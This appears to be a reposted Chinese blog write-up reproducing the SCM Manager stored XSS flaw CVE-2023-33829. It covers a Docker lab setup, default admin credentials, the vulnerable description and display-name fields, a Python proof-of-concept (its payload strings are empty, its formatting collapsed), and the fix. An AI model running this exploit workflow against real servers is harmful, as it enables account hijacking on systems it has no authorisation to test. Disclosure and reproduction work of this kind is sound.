最新要闻

广告

手机

iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?

iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?

警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案

警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案

家电

消息!SCM Manager XSS漏洞复现(CVE-2023-33829)

来源:博客园

一、漏洞描述

漏洞简述

SCM-Manager 是一款开源的版本库管理软件,同时支持 subversion、mercurial、git 的版本库管理。安装简单,功能较强,提供用户、用户组的权限管理 ,有丰富的插件支持。由于在MIT的许可下是开源的,因此它允许被用于商业用途,而且其代码可以在GitHub上获取到。该项目最初只是被用于研究目的,而在其2.0版本之后,被Cloudogu公司接手管理和开发了其各种代码库,以便为各个公司提供专业的企业级支持。

该漏洞主要为攻击者利用其多个功能的描述字段的代码缺陷,构造payload进行XSS攻击。

漏洞影响范围

供应商:Cloudogu

产品:SCM Manager

确认受影响版本:SCM Manager 1.2 <= 1.60

修复版本:>1.60 最新版本为2.43.1

二、漏洞复现实战

环境搭建

docker镜像:

https://bitbucket.org/sdorra/docker-scm-manager/src/master/

利用shell脚本搭建

shell:

#!/bin/bash​mkdir /var/lib/scmchown 1000:1000 /var/lib/scmdocker run -v /var/lib/scm:/var/lib/scm -p 8080:8080 sdorra/scm-manager

漏洞复现

首先访问SCM Manager,需身份认证

Username : scmadmin Password: scmadmin

repositories

repository功能下Description字段该漏洞可利用

创建新repository,并payload进行利用

Git类型:

Subversion类型:

Users

User功能下Display Name字段该漏洞可利用

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】

① 网安学习成长路径思维导图 ② 60+网安经典常用工具包 ③ 100+SRC漏洞分析报告 ④ 150+网安攻防实战技术电子书 ⑤ 最权威CISSP 认证考试指南+题库 ⑥ 超1800页CTF实战技巧手册 ⑦ 最新网安大厂面试题合集(含答案) ⑧ APP客户端安全检测指南(安卓+IOS)

创建新repository,并payload进行利用

可以看到新创建的账号中Display Name属性下显示异常,且XSS payload利用成功

Groups

Group功能下Description字段该漏洞可利用

另外可以根据POC进行利用

POC:

import requestsimport argparseimport sys​# Main menuparser = argparse.ArgumentParser(description="CVE-2023-33829 exploit")parser.add_argument("-u", "--user", help="Admin user or user with write permissions")parser.add_argument("-p", "--password", help="password of the user")args = parser.parse_args()​​# Credentialsuser = sys.argv[2]password = sys.argv[4]​​# Global Variablesmain_url = "http://localhost:8080/scm" # Change URL if its necessaryauth_url = main_url + "/api/rest/authentication/login.json"users = main_url + "/api/rest/users.json"groups = main_url + "/api/rest/groups.json"repos = main_url + "/api/rest/repositories.json"​# Create a sessionsession = requests.Session()​# Credentials to sendpost_data={ "username": user, # change if you have any other user with write permissions "password": password # change if you have any other user with write permissions}​r = session.post(auth_url, data=post_data)​if r.status_code == 200: print("[+] Authentication successfully")else: print("[-] Failed to authenticate") sys.exit(1)​new_user={​ "name": "newUser", "displayName": "", "mail": "", "password": "", "admin": False, "active": True, "type": "xml"​}​create_user = session.post(users, json=new_user)print("[+] User with XSS Payload created")​new_group={​ "name": "newGroup", "description": "", "type": "xml"​}​create_group = session.post(groups, json=new_group)print("[+] Group with XSS Payload created")​new_repo={​ "name": "newRepo", "type": "svn", "contact": "", "description": "", "public": False​}​create_repo = session.post(repos, json=new_repo)print("[+] Repository with XSS Payload created")

漏洞修复

建议更新至SCM Manager最新版本,目前为2.43.1

结束语

本文主要介绍了CVE-2023-33829 SCM Manager XSS漏洞复现过程,漏洞主要体现于攻击者利用其多个功能的描述字段的代码缺陷,构造payload进行XSS攻击。

本漏洞可参考之处为敏感功能避免重复调用非敏感功能代码,并做好过滤与校验,进行必要的安全测试。

更多网安技能的在线实操练习,请点击这里>>

关键词: